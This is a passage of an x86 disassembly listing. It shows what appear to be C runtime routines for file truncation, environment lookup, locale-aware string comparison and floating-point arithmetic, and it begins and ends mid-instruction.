CODE XREF: sub_416808+23Dj inc eax inc word ptr [ebx] loc_416A5A: ; CODE XREF: sub_416808+24Cj inc byte ptr [eax] loc_416A5C: ; CODE XREF: sub_416808+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_416A6B: ; CODE XREF: sub_416808+F0j mov eax, [ebp+var_4] loc_416A6E: ; CODE XREF: sub_416808+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416A73: ; CODE XREF: sub_416808+239j ; sub_416808+275j cmp eax, ecx jb short loc_416A83 cmp byte ptr [eax], 30h jnz short loc_416A7F dec eax jmp short loc_416A73 ; --------------------------------------------------------------------------- loc_416A7F: ; CODE XREF: sub_416808+272j cmp eax, ecx jnb short loc_416A5C loc_416A83: ; CODE XREF: sub_416808+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_416A92: ; CODE XREF: sub_416808+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_416A6E sub_416808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A9B proc near ; CODE XREF: sub_412A3C+29FDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_416B02 dec eax dec eax jz short loc_416AF3 sub eax, 4 jz short loc_416AF3 sub eax, 3 jz short loc_416AF3 sub eax, 4 jz short loc_416AE6 sub eax, 6 jz short loc_416AD9 dec eax jz short loc_416ACC or eax, 0FFFFFFFFh jmp loc_416BC4 ; --------------------------------------------------------------------------- loc_416ACC: ; CODE XREF: sub_416A9B+27j mov esi, dword_482098 mov eax, offset dword_482098 jmp short loc_416B0D ; --------------------------------------------------------------------------- loc_416AD9: ; CODE XREF: sub_416A9B+24j mov esi, dword_482094 mov eax, offset dword_482094 jmp short loc_416B0D ; --------------------------------------------------------------------------- loc_416AE6: ; CODE XREF: sub_416A9B+1Fj mov esi, dword_48209C mov eax, offset dword_48209C jmp short loc_416B0D ; --------------------------------------------------------------------------- loc_416AF3: ; CODE XREF: sub_416A9B+10j ; sub_416A9B+15j ... push edi call sub_416BC8 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_416B0D ; --------------------------------------------------------------------------- loc_416B02: ; CODE XREF: sub_416A9B+Cj mov esi, dword_482090 mov eax, offset dword_482090 loc_416B0D: ; CODE XREF: sub_416A9B+3Cj ; sub_416A9B+49j ... cmp esi, 1 jnz short loc_416B19 xor eax, eax jmp loc_416BC4 ; --------------------------------------------------------------------------- loc_416B19: ; CODE XREF: sub_416A9B+75j test esi, esi jnz short loc_416B24 push 3 call sub_40E7C3 loc_416B24: ; CODE XREF: sub_416A9B+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_416B36 cmp edi, 0Bh jz short loc_416B36 cmp edi, 4 jnz short loc_416B5C loc_416B36: ; CODE XREF: sub_416A9B+8Fj ; sub_416A9B+94j mov ebx, dword_481E70 and dword_481E70, 0 cmp edi, ecx jnz short loc_416B8B mov edx, dword_4222F4 mov dword_4222F4, 8Ch mov [ebp+arg_0], edx jmp short loc_416B5F ; --------------------------------------------------------------------------- loc_416B5C: ; CODE XREF: sub_416A9B+99j mov ebx, [ebp+arg_0] loc_416B5F: ; CODE XREF: sub_416A9B+BFj cmp edi, ecx jnz short loc_416B8B mov eax, dword_4222E8 mov ecx, dword_4222EC add ecx, eax cmp eax, ecx jge short loc_416B92 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:422278h[edx*4] loc_416B80: ; CODE XREF: sub_416A9B+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_416B80 jmp short loc_416B92 ; --------------------------------------------------------------------------- loc_416B8B: ; CODE XREF: sub_416A9B+AAj ; sub_416A9B+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_416BA0 loc_416B92: ; CODE XREF: sub_416A9B+D7j ; sub_416A9B+EEj push dword_4222F4 push 8 call esi pop ecx pop ecx jmp short loc_416BAE ; --------------------------------------------------------------------------- loc_416BA0: ; CODE XREF: sub_416A9B+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_416BAE cmp edi, 4 jnz short loc_416BC1 loc_416BAE: ; CODE XREF: sub_416A9B+103j ; sub_416A9B+10Cj cmp edi, 8 mov dword_481E70, ebx jnz short loc_416BC1 mov eax, [ebp+arg_0] mov dword_4222F4, eax loc_416BC1: ; CODE XREF: sub_416A9B+111j ; sub_416A9B+11Cj xor eax, eax pop ebx loc_416BC4: ; CODE XREF: sub_416A9B+2Cj ; sub_416A9B+79j pop edi pop esi pop ebp retn sub_416A9B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416BC8 proc near ; CODE XREF: sub_416A9B+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4222F0 cmp dword_422274, edx push esi mov eax, offset dword_422270 jz short loc_416BF6 lea esi, [ecx+ecx*2] lea esi, ds:422270h[esi*4] loc_416BEA: ; CODE XREF: sub_416BC8+2Cj add eax, 0Ch cmp eax, esi jnb short loc_416BF6 cmp [eax+4], edx jnz short loc_416BEA loc_416BF6: ; CODE XREF: sub_416BC8+16j ; sub_416BC8+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:422270h[ecx*4] cmp eax, ecx jnb short loc_416C0A cmp [eax+4], edx jz short locret_416C0C loc_416C0A: ; CODE XREF: sub_416BC8+3Bj xor eax, eax locret_416C0C: ; CODE XREF: sub_416BC8+40j retn sub_416BC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C0D proc near ; CODE XREF: sub_4157AA+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_40CCA0 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4831E0 jnb loc_416D42 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4830E0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_416D42 push 1 push esi push ebx call sub_413BAD add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_416D4C push 2 push esi push ebx call sub_413BAD add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_416D4C push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_416CEF push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_40CC40 push 8000h push ebx call sub_41706C add esp, 14h mov [ebp+arg_4], eax loc_416CA3: ; CODE XREF: sub_416C0D+BDj mov eax, 1000h cmp edi, eax jge short loc_416CAE mov eax, edi loc_416CAE: ; CODE XREF: sub_416C0D+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4147CC add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_416CCC sub edi, eax test edi, edi jle short loc_416CE2 jmp short loc_416CA3 ; --------------------------------------------------------------------------- loc_416CCC: ; CODE XREF: sub_416C0D+B5j cmp dword_481DC0, 5 jnz short loc_416CDF mov dword_481DBC, 0Dh loc_416CDF: ; CODE XREF: sub_416C0D+C6j or esi, 0FFFFFFFFh loc_416CE2: ; CODE XREF: sub_416C0D+BBj push [ebp+arg_4] push ebx call sub_41706C pop ecx pop ecx jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416CEF: ; CODE XREF: sub_416C0D+71j jge short loc_416D2F push 0 push [ebp+arg_4] push ebx call sub_413BAD push ebx call sub_415716 add esp, 10h push eax call dword_418010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_416D2F mov dword_481DBC, 0Dh call dword_418044 ; RtlGetLastWin32Error mov dword_481DC0, eax loc_416D2F: ; CODE XREF: sub_416C0D+E0j ; sub_416C0D:loc_416CEFj ... push 0 push [ebp+arg_0] push ebx call sub_413BAD add esp, 0Ch mov eax, esi pop edi jmp short loc_416D4F ; --------------------------------------------------------------------------- loc_416D42: ; CODE XREF: sub_416C0D+1Aj ; sub_416C0D+36j mov dword_481DBC, 9 loc_416D4C: ; CODE XREF: sub_416C0D+4Ej ; sub_416C0D+63j or eax, 0FFFFFFFFh loc_416D4F: ; CODE XREF: sub_416C0D+133j pop esi pop ebx leave retn sub_416C0D endp ; =============== S U B R O U T I N E ======================================= sub_416D53 proc near ; CODE XREF: sub_415A78+23p arg_0 = dword ptr 4 cmp dword_483430, 0 push ebx push esi mov esi, dword_481DE4 push edi jz short loc_416DCA test esi, esi jnz short loc_416D84 cmp dword_481DEC, esi jz short loc_416DCA call sub_417121 test eax, eax jnz short loc_416DCA mov esi, dword_481DE4 test esi, esi jz short loc_416DCA loc_416D84: ; CODE XREF: sub_416D53+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_416DCA push ebx call sub_40CBC0 pop ecx mov edi, eax loc_416D95: ; CODE XREF: sub_416D53+6Dj mov eax, [esi] test eax, eax jz short loc_416DCA push eax call sub_40CBC0 cmp eax, edi pop ecx jbe short loc_416DBD mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_416DBD push edi push ebx push eax call sub_4170E2 add esp, 0Ch test eax, eax jz short loc_416DC2 loc_416DBD: ; CODE XREF: sub_416D53+51j ; sub_416D53+59j add esi, 4 jmp short loc_416D95 ; --------------------------------------------------------------------------- loc_416DC2: ; CODE XREF: sub_416D53+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_416DCC ; --------------------------------------------------------------------------- loc_416DCA: ; CODE XREF: sub_416D53+10j ; sub_416D53+1Cj ... xor eax, eax loc_416DCC: ; CODE XREF: sub_416D53+75j pop edi pop esi pop ebx retn sub_416D53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD0 proc near ; CODE XREF: sub_416808+165p ; sub_416FF0+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_416FD0 cmp cx, 7FFFh jnb loc_416FD0 cmp dx, 0BFFDh ja loc_416FD0 cmp dx, 3FBFh ja short loc_416E39 xor eax, eax jmp short loc_416E73 ; --------------------------------------------------------------------------- loc_416E39: ; CODE XREF: sub_416DD0+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_416E5B inc [ebp+arg_0] test [esi+8], edx jnz short loc_416E5B xor eax, eax cmp [esi+4], eax jnz short loc_416E5D cmp [esi], eax jnz short loc_416E5D jmp loc_416FCA ; --------------------------------------------------------------------------- loc_416E5B: ; CODE XREF: sub_416DD0+71j ; sub_416DD0+79j xor eax, eax loc_416E5D: ; CODE XREF: sub_416DD0+80j ; sub_416DD0+84j cmp cx, ax jnz short loc_416E80 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_416E80 cmp [ebx+4], eax jnz short loc_416E80 cmp [ebx], eax jnz short loc_416E80 loc_416E73: ; CODE XREF: sub_416DD0+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_416FEB ; --------------------------------------------------------------------------- loc_416E80: ; CODE XREF: sub_416DD0+90j ; sub_416DD0+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_416E90: ; CODE XREF: sub_416DD0+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_416EE4 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_416EAC: ; CODE XREF: sub_416DD0+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_416196 add esp, 0Ch test eax, eax jz short loc_416ED7 mov eax, [ebp+var_4] inc word ptr [eax] loc_416ED7: ; CODE XREF: sub_416DD0+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_416EAC loc_416EE4: ; CODE XREF: sub_416DD0+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_416E90 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_416F27 loc_416F02: ; CODE XREF: sub_416DD0+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_416F20 lea eax, [ebp+var_24] push eax call sub_416215 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_416F02 loc_416F20: ; CODE XREF: sub_416DD0+136j cmp word ptr [ebp+arg_0], 0 jg short loc_416F60 loc_416F27: ; CODE XREF: sub_416DD0+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_416F60 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_416F40: ; CODE XREF: sub_416DD0+184j test byte ptr [ebp+var_24], 1 jz short loc_416F49 inc [ebp+var_14] loc_416F49: ; CODE XREF: sub_416DD0+174j lea eax, [ebp+var_24] push eax call sub_416243 dec ebx pop ecx jnz short loc_416F40 cmp [ebp+var_14], 0 jz short loc_416F60 or byte ptr [ebp+var_24], 1 loc_416F60: ; CODE XREF: sub_416DD0+155j ; sub_416DD0+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_416F77 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_416FAC loc_416F77: ; CODE XREF: sub_416DD0+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_416FA9 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_416FA4 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_416F9E inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_416FAC ; --------------------------------------------------------------------------- loc_416F9E: ; CODE XREF: sub_416DD0+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_416FAC ; --------------------------------------------------------------------------- loc_416FA4: ; CODE XREF: sub_416DD0+1B5j inc [ebp+var_20+2] jmp short loc_416FAC ; --------------------------------------------------------------------------- loc_416FA9: ; CODE XREF: sub_416DD0+1ABj inc [ebp+var_24+2] loc_416FAC: ; CODE XREF: sub_416DD0+1A5j ; sub_416DD0+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_416FD0 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_416FCA: ; CODE XREF: sub_416DD0+86j mov [esi+0Ah], ax jmp short loc_416FEB ; --------------------------------------------------------------------------- loc_416FD0: ; CODE XREF: sub_416DD0+42j ; sub_416DD0+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_416FEB: ; CODE XREF: sub_416DD0+ABj ; sub_416DD0+1FEj pop edi pop esi pop ebx leave retn sub_416DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FF0 proc near ; CODE XREF: sub_416337+440p ; sub_416808+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_422768 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_417069 jge short loc_417018 mov eax, [ebp+arg_4] mov ebx, offset dword_4228C8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_417018: ; CODE XREF: sub_416FF0+16j cmp [ebp+arg_8], ecx jnz short loc_417023 mov eax, [ebp+arg_0] mov [eax], cx loc_417023: ; CODE XREF: sub_416FF0+2Bj cmp [ebp+arg_4], ecx jz short loc_417069 push esi push edi loc_41702A: ; CODE XREF: sub_416FF0+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_417062 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_417055 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_417055: ; CODE XREF: sub_416FF0+57j push esi push [ebp+arg_0] call sub_416DD0 pop ecx pop ecx xor ecx, ecx loc_417062: ; CODE XREF: sub_416FF0+49j cmp [ebp+arg_4], ecx jnz short loc_41702A pop edi pop esi loc_417069: ; CODE XREF: sub_416FF0+14j ; sub_416FF0+36j pop ebx leave retn sub_416FF0 endp ; =============== S U B R O U T I N E ======================================= sub_41706C proc near ; CODE XREF: sub_416C0D+8Bp ; sub_416C0D+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4831E0 jnb short loc_4170D3 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4830E0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_4170D3 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_4170AC and cl, 7Fh jmp short loc_4170B9 ; --------------------------------------------------------------------------- loc_4170AC: ; CODE XREF: sub_41706C+39j cmp [esp+4+arg_4], 4000h jnz short loc_4170C7 or cl, 80h loc_4170B9: ; CODE XREF: sub_41706C+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4170C7: ; CODE XREF: sub_41706C+48j mov dword_481DBC, 16h jmp short loc_4170DD ; --------------------------------------------------------------------------- loc_4170D3: ; CODE XREF: sub_41706C+Bj ; sub_41706C+27j mov dword_481DBC, 9 loc_4170DD: ; CODE XREF: sub_41706C+65j or eax, 0FFFFFFFFh pop esi retn sub_41706C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170E2 proc near ; CODE XREF: sub_416D53+5Ep ; sub_4175BE+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_4170EF xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_4170EF: ; CODE XREF: sub_4170E2+7j push dword_4831E4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_483404 call sub_41718F add esp, 1Ch test eax, eax jnz short loc_41711C mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41711C: ; CODE XREF: sub_4170E2+31j add eax, 0FFFFFFFEh pop ebp retn sub_4170E2 endp ; =============== S U B R O U T I N E ======================================= sub_417121 proc near ; CODE XREF: sub_416D53+1Ep ; sub_417437+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_481DEC push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_417182 mov ebx, dword_4180C8 loc_41713A: ; CODE XREF: sub_417121+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_41718A push ebp call sub_40CCCF cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41718A push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_41718A push edi push [esp+18h+var_4] call sub_417437 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41713A loc_417182: ; CODE XREF: sub_417121+11j xor eax, eax loc_417184: ; CODE XREF: sub_417121+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41718A: ; CODE XREF: sub_417121+29j ; sub_417121+38j ... or eax, 0FFFFFFFFh jmp short loc_417184 sub_417121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41718F proc near ; CODE XREF: sub_4170E2+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_418C18 push offset sub_414568 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4820A8, ebx push 1 pop edi jnz short loc_417202 push edi mov eax, offset dword_418868 push eax push edi push eax push ebx push ebx call dword_418008 ; CompareStringW test eax, eax jz short loc_4171DF mov dword_4820A8, edi jmp short loc_417202 ; --------------------------------------------------------------------------- loc_4171DF: ; CODE XREF: sub_41718F+46j push edi mov eax, offset dword_4242EC push eax push edi push eax push ebx push ebx call dword_41800C ; CompareStringA test eax, eax jz loc_4173F8 mov dword_4820A8, 2 loc_417202: ; CODE XREF: sub_41718F+31j ; sub_41718F+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_417219 push esi push [ebp+arg_8] call sub_41740C pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_417219: ; CODE XREF: sub_41718F+78j cmp [ebp+arg_14], ebx jle short loc_41722E push [ebp+arg_14] push [ebp+arg_10] call sub_41740C pop ecx pop ecx mov [ebp+arg_14], eax loc_41722E: ; CODE XREF: sub_41718F+8Dj mov eax, dword_4820A8 cmp eax, 2 jnz short loc_417253 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41800C ; CompareStringA jmp loc_4173FA ; --------------------------------------------------------------------------- loc_417253: ; CODE XREF: sub_41718F+A7j cmp eax, edi jnz loc_4173F8 cmp [ebp+arg_18], ebx jnz short loc_417268 mov eax, dword_481E5C mov [ebp+arg_18], eax loc_417268: ; CODE XREF: sub_41718F+CFj cmp esi, ebx jz short loc_417275 cmp [ebp+arg_14], ebx jnz loc_41730D loc_417275: ; CODE XREF: sub_41718F+DBj cmp esi, [ebp+arg_14] jnz short loc_417282 loc_41727A: ; CODE XREF: sub_41718F+13Cj ; sub_41718F+16Dj push 2 loc_41727C: ; CODE XREF: sub_41718F+146j pop eax jmp loc_4173FA ; --------------------------------------------------------------------------- loc_417282: ; CODE XREF: sub_41718F+E9j cmp [ebp+arg_14], edi jle short loc_41728E loc_417287: ; CODE XREF: sub_41718F+151j ; sub_41718F+159j ... mov eax, edi jmp loc_4173FA ; --------------------------------------------------------------------------- loc_41728E: ; CODE XREF: sub_41718F+F6j cmp esi, edi jg short loc_4172D3 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_418160 ; GetCPInfo test eax, eax jz loc_4173F8 cmp esi, ebx jle short loc_4172D7 cmp [ebp+var_3C], 2 jb short loc_4172D3 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4172D3 loc_4172B9: ; CODE XREF: sub_41718F+142j mov dl, [eax+1] cmp dl, bl jz short loc_4172D3 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_4172CD cmp cl, dl jbe short loc_41727A loc_4172CD: ; CODE XREF: sub_41718F+138j inc eax inc eax cmp [eax], bl jnz short loc_4172B9 loc_4172D3: ; CODE XREF: sub_41718F+101j ; sub_41718F+120j ... push 3 jmp short loc_41727C ; --------------------------------------------------------------------------- loc_4172D7: ; CODE XREF: sub_41718F+11Aj cmp [ebp+arg_14], ebx jle short loc_41730D cmp [ebp+var_3C], 2 jb short loc_417287 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_417287 loc_4172EA: ; CODE XREF: sub_41718F+177j mov dl, [eax+1] cmp dl, bl jz short loc_417287 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_417302 cmp cl, dl jbe loc_41727A loc_417302: ; CODE XREF: sub_41718F+169j inc eax inc eax cmp [eax], bl jnz short loc_4172EA jmp loc_417287 ; --------------------------------------------------------------------------- loc_41730D: ; CODE XREF: sub_41718F+E0j ; sub_41718F+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_4180CC ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_4173F8 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_40CCA0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41735C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_41735C: ; CODE XREF: sub_41718F+1B5j cmp [ebp+var_24], ebx jz loc_4173F8 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_4180CC call esi ; MultiByteToWideChar test eax, eax jz short loc_4173F8 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_4173F8 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_40CCA0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_4173C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_4173C7: ; CODE XREF: sub_41718F+224j cmp edi, ebx jz short loc_4173F8 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_4180CC ; MultiByteToWideChar test eax, eax jz short loc_4173F8 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_418008 ; CompareStringW jmp short loc_4173FA ; --------------------------------------------------------------------------- loc_4173F8: ; CODE XREF: sub_41718F+63j ; sub_41718F+C6j ... xor eax, eax loc_4173FA: ; CODE XREF: sub_41718F+BFj ; sub_41718F+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41718F endp ; =============== S U B R O U T I N E ======================================= sub_41740C proc near ; CODE XREF: sub_413455+81p ; sub_41718F+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_417429 loc_41741C: ; CODE XREF: sub_41740C+1Bj cmp byte ptr [eax], 0 jz short loc_417429 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41741C loc_417429: ; CODE XREF: sub_41740C+Ej ; sub_41740C+13j cmp byte ptr [eax], 0 pop esi jnz short loc_417434 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_417434: ; CODE XREF: sub_41740C+21j mov eax, edx retn sub_41740C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417437 proc near ; CODE XREF: sub_417121+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_41749B push 3Dh push [ebp+arg_0] call sub_41767D mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_41749B cmp [ebp+arg_0], esi jz short loc_41749B mov eax, dword_481DE4 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_481DE8 jnz short loc_417481 push eax call sub_417616 pop ecx mov dword_481DE4, eax loc_417481: ; CODE XREF: sub_417437+3Cj cmp eax, edi jnz short loc_4174D9 cmp [ebp+arg_4], edi jz short loc_4174A3 cmp dword_481DEC, edi jz short loc_4174A3 call sub_417121 test eax, eax jz short loc_4174D9 loc_41749B: ; CODE XREF: sub_417437+Dj ; sub_417437+22j ... or eax, 0FFFFFFFFh loc_41749E: ; CODE XREF: sub_417437+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4174A3: ; CODE XREF: sub_417437+51j ; sub_417437+59j cmp ebx, edi jnz loc_4175B7 push 4 call sub_40CCCF cmp eax, edi pop ecx mov dword_481DE4, eax jz short loc_41749B mov [eax], edi cmp dword_481DEC, edi jnz short loc_4174D9 push 4 call sub_40CCCF cmp eax, edi pop ecx mov 